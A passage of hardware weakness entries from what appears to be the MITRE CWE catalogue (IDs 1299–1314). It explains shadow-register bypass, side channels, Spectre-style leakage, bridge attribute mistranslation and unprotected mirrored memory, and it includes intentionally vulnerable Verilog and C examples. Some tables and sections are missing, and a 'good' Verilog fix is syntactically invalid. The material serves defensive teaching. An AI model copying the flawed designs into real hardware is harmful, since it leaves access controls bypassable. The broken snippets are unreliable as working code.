| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Bypass Protection Mechanism Gain Privileges or Assume Identity Alter Execution Logic | |

Potential Mitigations

Phase: Architecture and Design

Adopting design practices that encourage designers to recognize and eliminate race conditions, such as Karnaugh maps, could result in the decrease in occurrences of race conditions.

Phase: Implementation

Logic redundancy can be implemented along security critical paths to prevent race conditions. To avoid metastability, it is a good practice in general to default to a secure state in which access is not given to untrusted agents.

Demonstrative Examples

Example 1:

The code below shows a 2x1 multiplexor using logic gates. Though the code shown below results in the minimum gate solution, it is disjoint and causes glitches.

Example Language: Verilog

(bad)

```
// 2x1 Multiplexor using logic-gates
module glitchEx(
    input wire in0, in1, sel,
    output wire z
);
    wire not_sel;
    wire and_out1, and_out2;
    assign not_sel = ~sel;
    assign and_out1 = not_sel & in0;
    assign and_out2 = sel & in1;
    // Buggy line of code:
    assign z = and_out1 | and_out2; // glitch in signal z
endmodule
```

The buggy line of code, commented above, results in signal 'z' periodically changing to an unwanted state. Thus, any logic that references signal 'z' may access it at a time when it is in this unwanted state. This line should be replaced with the line shown below in the Good Code Snippet which results in signal 'z' remaining in a continuous, known, state. Reference for the above code, along with waveforms for simulation can be found in the references below.

Example Language: Verilog

(good)

```
assign z <= and_out1 or and_out2 or (in0 and in1);
```

This line of code removes the glitch in signal z.

MemberOf Relationships

CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface

| | |
|---------------------------|----------------------|
| Weakness ID : 1299 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The lack of protections on alternate paths to access control-protected assets (such as unprotected shadow registers and other external facing unguarded interfaces) allows an attacker to bypass existing protections to the asset that are only performed against the primary path.

Extended Description

An asset inside a chip might have access-control protections through one interface. However, if all paths to the asset are not protected, an attacker might compromise the asset through alternate paths. These alternate paths could be through shadow or mirror registers inside the IP core, or could be paths from other external-facing interfaces to the IP core or SoC.

Consider an SoC with various interfaces such as UART, SMBUS, PCIe, USB, etc. If access control is implemented for SoC internal registers only over the PCIe interface, then an attacker could still modify the SoC internal registers through alternate paths by coming through interfaces such as UART, SMBUS, USB, etc.

Alternatively, attackers might be able to bypass existing protections by exploiting unprotected, shadow registers. Shadow registers and mirror registers typically refer to registers that can be accessed from multiple addresses. Writing to or reading from the aliased/mirrored address has the same effect as writing to the address of the main register. They are typically implemented within an IP core or SoC to temporarily hold certain data. These data will later be updated to the main register, and both registers will be in synch. If the shadow registers are not access-protected, attackers could simply initiate transactions to the shadow registers and compromise system security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Bus/Interface IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | DoS: Resource Consumption (Other) | |
| Access Control | Execute Unauthorized Code or Commands | |
| | Gain Privileges or Assume Identity | |
| | Quality Degradation | |

Potential Mitigations

Phase: Requirements

Protect assets from accesses against all potential interfaces and alternate paths.

Effectiveness = Defense in Depth

Phase: Architecture and Design

Protect assets from accesses against all potential interfaces and alternate paths.

Effectiveness = Defense in Depth

Phase: Implementation

Protect assets from accesses against all potential interfaces and alternate paths.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

Example Language: Verilog

(informative)

```

module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
    acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1 : 0;
always @ (posedge clk or negedge rst_n)
    if (!rst_n)
        begin
            q <= 32'h0;
            data_out <= 32'h0;
        end
    else
        begin
            q <= (addr_auth & write_auth) ? data_in : q;
            data_out <= q;
        end
    end
endmodule

```

Example Language: Verilog

(bad)

```
assign addr_auth = (address == 32'hF00) ? 1 : 0;
```

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME, the address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

Example Language: Verilog

(good)

```
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1 : 0;
```

Observed Examples

CWE-1300: Improper Protection of Physical Side Channels**Weakness ID :** 1300**Status:** Stable**Structure :** Simple**Abstraction :** Base**Description**

The device does not contain sufficient protection mechanisms to prevent physical side channels from exposing sensitive information due to patterns in physically observable phenomena such as variations in power consumption, electromagnetic emissions (EME), or acoustic emissions.

Extended Description

An adversary could monitor and measure physical phenomena to detect patterns and make inferences, even if it is not possible to extract the information in the digital domain.

Physical side channels have been well-studied for decades in the context of breaking implementations of cryptographic algorithms or other attacks against security features. These side channels may be easily observed by an adversary with physical access to the device, or using a tool that is in close proximity. If the adversary can monitor hardware operation and correlate its data processing with power, EME, and acoustic measurements, the adversary might be able to recover of secret keys and data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Manual Analysis

Perform a set of leakage detection tests such as the procedure outlined in the Test Vector Leakage Assessment (TVLA) test requirements for AES [REF-1230]. TVLA is the basis for the ISO standard 17825 [REF-1229]. A separate methodology is provided by [REF-1228]. Note that sole reliance on this method might not yield expected results [REF-1239] [REF-1240].

Effectiveness = Moderate

Manual Analysis

Post-silicon, perform full side-channel attacks (penetration testing) covering as many known leakage models as possible against test code.

Effectiveness = Moderate

Manual Analysis

Pre-silicon - while the aforementioned TVLA methods can be performed post-silicon, models of device power consumption or other physical emanations can be built from information present at various stages of the hardware design process before fabrication. TVLA or known side-channel attacks can be applied to these simulated traces and countermeasures applied before tape-out. Academic research in this field includes [REF-1231] [REF-1232] [REF-1233].

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Apply blinding or masking techniques to implementations of cryptographic algorithms.

Phase: Implementation

Add shielding or tamper-resistant protections to the device to increase the difficulty of obtaining measurements of the side-channel.

Demonstrative Examples

Example 1:

Consider a device that checks a passcode to unlock the screen.

Example Language:

(bad)

As each character of the PIN number is entered, a correct character exhibits one current pulse shape while an incorrect character exhibits a different current pulse shape.

PIN numbers used to unlock a cell phone should not exhibit any characteristics about themselves. This creates a side channel. An attacker could monitor the pulses using an oscilloscope or other method. Once the first character is correctly guessed (based on the oscilloscope readings), they can then move to the next character, which is much more efficient than the brute force method of guessing every possible sequence of characters.

Example Language:

(good)

Rather than comparing each character to the correct PIN value as it is entered, the device could accumulate the PIN in a register, and do the comparison all at once at the end. Alternatively, the components for the comparison could be modified so that the current pulse shape is the same regardless of the correctness of the entered character.

Example 2:

Consider the device vulnerability CVE-2021-3011, which affects certain microcontrollers [REF-1221]. The Google Titan Security Key is used for two-factor authentication using cryptographic algorithms. The device uses an internal secret key for this purpose and exchanges information based on this key for the authentication. If this internal secret key and the encryption algorithm were known to an adversary, the key function could be duplicated, allowing the adversary to masquerade as the legitimate user.

Example Language:

(bad)

The local method of extracting the secret key consists of plugging the key into a USB port and using electromagnetic (EM) sniffing tools and computers.

Example Language:

(good)

Several solutions could have been considered by the manufacturer. For example, the manufacturer could shield the circuitry in the key or add randomized delays, indirect calculations with random values involved, or randomly ordered calculations to make extraction much more difficult or a combination of these techniques.

Observed Examples

| Reference | Description |

CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component

Weakness ID : 1301**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The product's data removal process does not completely delete all data and potentially sensitive information within hardware components.

Extended Description

Physical properties of hardware devices, such as remanence of magnetic media, residual charge of ROMs/RAMs, or screen burn-in may still retain sensitive data after a data removal process has taken place and power is removed.

Recovering data after erasure or overwriting is possible due to a phenomenon called data remanence. For example, if the same value is written repeatedly to a memory location, the corresponding memory cells can become physically altered to a degree such that even after the original data is erased that data can still be recovered through physical characterization of the memory cells.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1302: Missing Security Identifier

| | |
|---------------------------|---------------------------|
| Weakness ID : 1302 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier.

Extended Description

In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute). A typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity) in addition to much more information in the message. Sometimes the transactions are qualified with a Security Identifier. This Security Identifier helps the destination agent decide on the set of allowed or disallowed actions.

A common weakness that can exist in such transaction schemes is that the source agent fails to include the necessary, security identifier with the transaction. Because of the missing security identifier, the destination agent might drop the message, thus resulting in Denial-of-Service (DoS), or get confused in its attempt to execute the given action, which confusion could result in privilege escalation or a gain of unintended access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1294 | Insecure Security Identifier Mechanism | 1933 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | DoS: Crash, Exit, or Restart | |
| Access Control | Bypass Protection Mechanism | |
| | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Transaction details must be reviewed for design inconsistency and common weaknesses.

Phase: Implementation

Security identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and the register AES_KEY_ACCESS_POLICY is defined to provide the necessary access controls.

The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., "1") allows for a respective action from an agent whose identity matches the number of the bit; if set to "0" (i.e., Clear), it disallows the respective action to that corresponding agent.

Example Language:

(bad)

The originator sends a transaction with no security identifier, i.e., meaning the value is "0" or NULL. The AES-Key-access register does not allow the necessary action and drops the transaction because the originator failed to include the required security identifier.

Example Language:

(good)

The originator should send a transaction with Security Identifier "2" which will allow access to the AES-Key-access register and allow encryption and decryption operations.

CWE-1303: Non-Transparent Sharing of Microarchitectural Resources

Weakness ID : 1303

Status: Draft

Structure : Simple

Abstraction : Base

Description

Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.

Extended Description

Modern processors use techniques such as out-of-order execution, speculation, prefetching, data forwarding, and caching to increase performance. Details about the implementation of these techniques are hidden from the programmer's view. This is problematic when the hardware implementation of these techniques results in resources being shared across supposedly isolated contexts. Contention for shared resources between different contexts opens covert channels that allow malicious programs executing in one context to recover information from another context.

Some examples of shared micro-architectural resources that have been used to leak information between contexts are caches, branch prediction logic, and load or store buffers. Speculative and out-of-order execution provides an attacker with increased control over which data is leaked through the covert channel.

If the extent of resource sharing between contexts in the design microarchitecture is undocumented, it is extremely difficult to ensure system assets are protected against disclosure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 203 | Observable Discrepancy | 486 |
| ChildOf |  | 1189 | Improper Isolation of Shared Resources on System-on-a-Chip (SoC) | 1780 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data Read Memory <i>Microarchitectural side-channels have been used to leak specific information such as cryptographic keys, and Address Space Layout Randomization (ASLR) offsets as well as arbitrary memory.</i> | |

Potential Mitigations

Phase: Architecture and Design

Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.

Phase: Requirements

Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.

Demonstrative Examples

Example 1:

Secure programs perform bounds checking before accessing an array if the source of the array index is provided by an untrusted source such as user input. In the code below, data from array1 will not be accessed if x is out of bounds. However, if this code executes on a processor that performs speculative execution the outcome of the if statement could be mis-predicted and the access on the next line will occur with a value of x that can point to arbitrary locations in the program's memory (out-of-bounds).

Even though the processor rolls back the architectural effects of the mis-predicted branch, the memory accesses alter data cache state, which is not rolled back after the branch is resolved. The cache state can reveal array1[x] thereby providing a mechanism to recover any word in this program's memory space.

Example Language:

(bad)

```
if (x < array1_size) y = array2[array1[x] * 4096];
```

Code snippet is from the Spectre paper: <https://spectreattack.com/spectre.pdf>.

CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation

| | |
|---------------------------|-----------------------|
| Weakness ID : 1304 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product performs a power save/restore operation, but it does not ensure that the integrity of the configuration state is maintained and/or verified between the beginning and ending of the operation.

Extended Description

Before powering down, the Intellectual Property (IP) saves current state (S) to persistent storage such as flash or always-on memory in order to optimize the restore operation. During this process, an attacker with access to the persistent storage may alter (S) to a configuration that could potentially modify privileges, disable protections, and/or cause damage to the hardware. If the IP does not validate the configuration state stored in persistent memory, upon regaining power or becoming operational again, the IP could be compromised through the activation of an unwanted/harmful configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | P | 284 | Improper Access Control | 631 |
| PeerOf | Ⓒ | 345 | Insufficient Verification of Data Authenticity | 781 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|--------|------|------|--|------|
| PeerOf | Ⓔ | 1271 | Uninitialized Value on Reset for Registers Holding Security Settings | 1891 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|--|------------|
| Confidentiality Integrity | DoS: Instability DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Gain Privileges or Assume Identity Bypass Protection Mechanism Alter Execution Logic Quality Degradation Unexpected State Reduce Maintainability Reduce Performance Reduce Reliability | High |

Potential Mitigations**Phase: Architecture and Design**

Inside the IP, incorporate integrity checking on the configuration state via a cryptographic hash. The hash can be protected inside the IP such as by storing it in internal registers which never lose power. Before powering down, the IP performs a hash of the configuration and saves it in these persistent registers. Upon restore, the IP performs a hash of the saved configuration and compares it with the saved hash. If they do not match, then the IP should not trust the configuration.

Phase: Integration

Outside the IP, incorporate integrity checking of the configuration state via a trusted agent. Before powering down, the trusted agent performs a hash of the configuration and saves the hash in persistent storage. Upon restore, the IP requests the trusted agent validate its current configuration. If the configuration hash is invalid, then the IP should not trust the configuration.

Phase: Integration

Outside the IP, incorporate a protected environment that prevents undetected modification of the configuration state by untrusted agents. Before powering down, a trusted agent saves the IP's configuration state in this protected location that only it is privileged to. Upon restore, the trusted agent loads the saved state into the IP.

Demonstrative Examples**Example 1:**

The following pseudo code demonstrates the power save/restore workflow which may lead to weakness through a lack of validation of the config state after restore.

Example Language: C

(bad)

```
void save_config_state()
{
    void* cfg;
    cfg = get_config_state();
    save_config_state(cfg);
    go_to_sleep();
}
void restore_config_state()
{
    void* cfg;
    cfg = get_config_file();
    load_config_file(cfg);
}
```

The following pseudo-code is the proper workflow for the integrity checking mitigation:

Example Language: C

(good)

```
void save_config_state()
{
    void* cfg;
    void* sha;
    cfg = get_config_state();
    save_config_state(cfg);
    // save hash(cfg) to trusted location
    sha = get_hash_of_config_state(cfg);
    save_hash(sha);
    go_to_sleep();
}
void restore_config_state()
{
    void* cfg;
    void* sha_1, sha_2;
    cfg = get_config_file();
    // restore hash of config from trusted memory
    sha_1 = get_persisted_sha_value();
    sha_2 = get_hash_of_config_state(cfg);
    if (sha_1 != sha_2)
        assert_error_and_halt();
    load_config_file(cfg);
}
```

It must be noted that in the previous example of good pseudo code, the memory (where the hash of the config state is stored) must be trustworthy while the hardware is between the power save and restore states.

Functional Areas

- Power

CWE-1310: Missing Ability to Patch ROM Code

Weakness ID : 1310

Status: Draft

Structure : Simple

Abstraction : Base

Description

Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state.

Extended Description

A System or System-on-Chip (SoC) that implements a boot process utilizing security mechanisms such as Root-of-Trust (RoT) typically starts by executing code from a Read-only-Memory (ROM) component. The code in ROM is immutable, hence any security vulnerabilities discovered in the ROM code can never be fixed for the systems that are already in use.

A common weakness is that the ROM does not have the ability to patch if security vulnerabilities are uncovered after the system gets shipped. This leaves the system in a vulnerable state where an adversary can compromise the SoC.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1329 | Reliance on Component That is Not Updateable | 1994 |
| PeerOf |  | 1277 | Firmware Not Updateable | 1903 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---|------------|
| Other | Varies by Context Reduce Maintainability <i>A consequence of this is that the system is unable to be patched and leaves it in a vulnerable state.</i> | High |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

1. Secure patch support to allow ROM code to be patched at next boot.
2. Support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature

can be used to do limited patching of device after shipping or for next batch of silicon devices manufactured without changing the full device ROM.

Effectiveness = Moderate

Some part of the hardware initialization or signature verification done to authenticate patches will always be "not patchable." Hardware-fuse-based patches will also have limitations in terms of size and the number of patches that can be supported.

Demonstrative Examples

Example 1:

A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.

ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.

CWE-1311: Improper Translation of Security Attributes by Fabric Bridge

Weakness ID : 1311

Status: Draft

Structure : Simple

Abstraction : Base

Description

The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another.

Extended Description

A bridge allows IP blocks supporting different fabric protocols to be integrated into the system. Fabric end-points or interfaces usually have dedicated signals to transport security attributes. For example, HPROT signals in AHB, AxPROT signals in AXI, and MReqInfo and SRespInfo signals in OCP.

The values on these signals are used to indicate the security attributes of the transaction. These include the immutable hardware identity of the controller initiating the transaction, privilege level, and type of transaction (e.g., read/write, cacheable/non-cacheable, posted/non-posted).

A weakness can arise if the bridge IP block, which translates the signals from the protocol used in the IP block endpoint to the protocol used by the central bus, does not properly translate the security attributes. As a result, the identity of the initiator could be translated from untrusted to trusted or vice-versa. This could result in access-control bypass, privilege escalation, or denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | IP | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Access Control | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |
| | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

The translation must map signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.

Phase: Implementation

Ensure that the translation maps signals in such a way that untrusted agents cannot map to trusted agents or vice-versa.

Demonstrative Examples

Example 1:

The bridge interfaces between OCP and AHB end points. OCP uses MReqInfo signal to indicate security attributes, whereas AHB uses HPROT signal to indicate the security attributes. The width of MReqInfo can be customized as needed. In this example, MReqInfo is 5-bits wide and carries the privilege level of the OCP controller.

The values 5'h11, 5'h10, 5'h0F, 5'h0D, 5'h0C, 5'h0B, 5'h09, 5'h08, 5'h04, and 5'h02 in MReqInfo indicate that the request is coming from a privileged state of the OCP bus controller. Values 5'h1F, 5'h0E, and 5'h00 indicate untrusted, privilege state.

Though HPROT is a 5-bit signal, we only consider the lower, two bits in this example. HPROT values 2'b00 and 2'b10 are considered trusted, and 2'b01 and 2'b11 are considered untrusted.

The OCP2AHB bridge is expected to translate trusted identities on the controller side to trusted identities on the responder side. Similarly, it is expected to translate untrusted identities on the controller side to untrusted identities on the responder side.

Example Language: Verilog

(bad)

```
module ocp2ahb
(
  ahb_hprot,
  ocp_mreqinfo
);
output [1:0] ahb_hprot; // output is 2 bit signal for AHB HPROT
input [4:0] ocp_mreqinfo; // input is 5 bit signal from OCP MReqInfo
wire [6:0] p0_mreqinfo_o_temp; // OCP signal that transmits hardware identity of bus controller
wire y;
reg [1:0] ahb_hprot;
// hardware identity of bus controller is in bits 5:1 of p0_mreqinfo_o_temp signal
assign p0_mreqinfo_o_temp[6:0] = {1'b0, ahb_hprot[4:0], y};
always @*
begin
  case (p0_mreqinfo_o_temp[4:2])
    000: ahb_hprot = 2'b11; // OCP MReqInfo to AHB HPROT mapping
    001: ahb_hprot = 2'b00;
    010: ahb_hprot = 2'b00;
    011: ahb_hprot = 2'b01;
    100: ahb_hprot = 2'b00;
    101: ahb_hprot = 2'b00;
    110: ahb_hprot = 2'b10;
    111: ahb_hprot = 2'b00;
  endcase
end
endmodule
```

Logic in the case statement only checks for MReqInfo bits 4:2, i.e., hardware-identity bits 3:1. When ocp_mreqinfo is 5'h1F or 5'h0E, p0_mreqinfo_o_temp[2] will be 1. As a result, untrusted IDs from OCP 5'h1F and 5'h0E get translated to trusted ahb_hprot values 2'b00.

CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall

Weakness ID : 1312

Status: Draft

Structure : Simple
Abstraction : Base

Description

The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions.

Extended Description

Few fabrics mirror memory and address ranges, where mirrored regions contain copies of the original data. This redundancy is used to achieve fault tolerance. Whatever protections the fabric firewall implements for the original region should also apply to the mirrored regions. If not, an attacker could bypass existing read/write protections by reading from/writing to the mirrored regions to leak or corrupt the original data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|--------|---|------|--|------|
| PeerOf |  | 1251 | Mirrored Regions with Different Values | 1846 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Access Control | Bypass Protection Mechanism | |

Detection Methods

Manual Dynamic Analysis

Using an external debugger, send write transactions to mirrored regions to test if original, write-protected regions are modified. Similarly, send read transactions to mirrored regions to test if the original, read-protected signals can be read.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

The fabric firewall should apply the same protections as the original region to the mirrored regions.

Phase: Implementation

The fabric firewall should apply the same protections as the original region to the mirrored regions.

Demonstrative Examples

Example 1:

A memory-controller IP block is connected to the on-chip fabric in a System on Chip (SoC). The memory controller is configured to divide the memory into four parts: one original and three mirrored regions inside the memory. The upper two bits of the address indicate which region is being addressed. 00 indicates the original region and 01, 10, and 11 are used to address the mirrored regions. All four regions operate in a lock-step manner and are always synchronized. The firewall in the on-chip fabric is programmed to protect the assets in the memory.

The firewall only protects the original range but not the mirrored regions.

The attacker (as an unprivileged user) sends a write transaction to the mirrored region. The mirrored region has an address with the upper two bits set to "10" and the remaining bits of the address pointing to an asset. The firewall does not block this write transaction. Once the write is successful, contents in the protected-memory region are also updated. Thus, the attacker can bypass existing, memory protections.

Firewall should protect mirrored regions.

CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime

| | |
|---------------------------|-----------------------|
| Weakness ID : 1313 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary.

Extended Description

An adversary can take advantage of test or debug logic that is made accessible through the hardware during normal operation to modify the intended behavior of the system. For example, an accessible Test/debug mode may allow read/write access to any system data. Using error injection (a common test/debug feature) during a transmit/receive operation on a bus, data may be modified to produce an unintended message. Similarly, confidentiality could be compromised by such features allowing access to secrets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| | Bypass Protection Mechanism | |
| | Alter Execution Logic | |
| | Quality Degradation | |
| | Unexpected State | |
| | Reduce Performance | |
| | Reduce Reliability | |

Potential Mitigations

Phase: Architecture and Design

Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

Phase: Implementation

Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

Phase: Integration

Insert restrictions on when the hardware's test or debug features can be activated. For example, during normal operating modes, the hardware's privileged modes that allow access to such features cannot be activated. Configuring the hardware to only enter a test or debug mode within

a window of opportunity such as during boot or configuration stage. The result is disablement of such test/debug features and associated modes during normal runtime operations.

CWE-1314: Missing Write Protection for Parametric Data Values

| | |
|---------------------------|----------------------|
| Weakness ID : 1314 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure.

Extended Description

Various sensors are used by hardware to detect any devices operating outside of the design limits. The threshold limit values are set by hardware fuses or trusted software such as the BIOS. These limits may be related to thermal, power, voltage, current, and frequency. Hardware mechanisms may be used to protect against alteration of the threshold limit values by untrusted software.

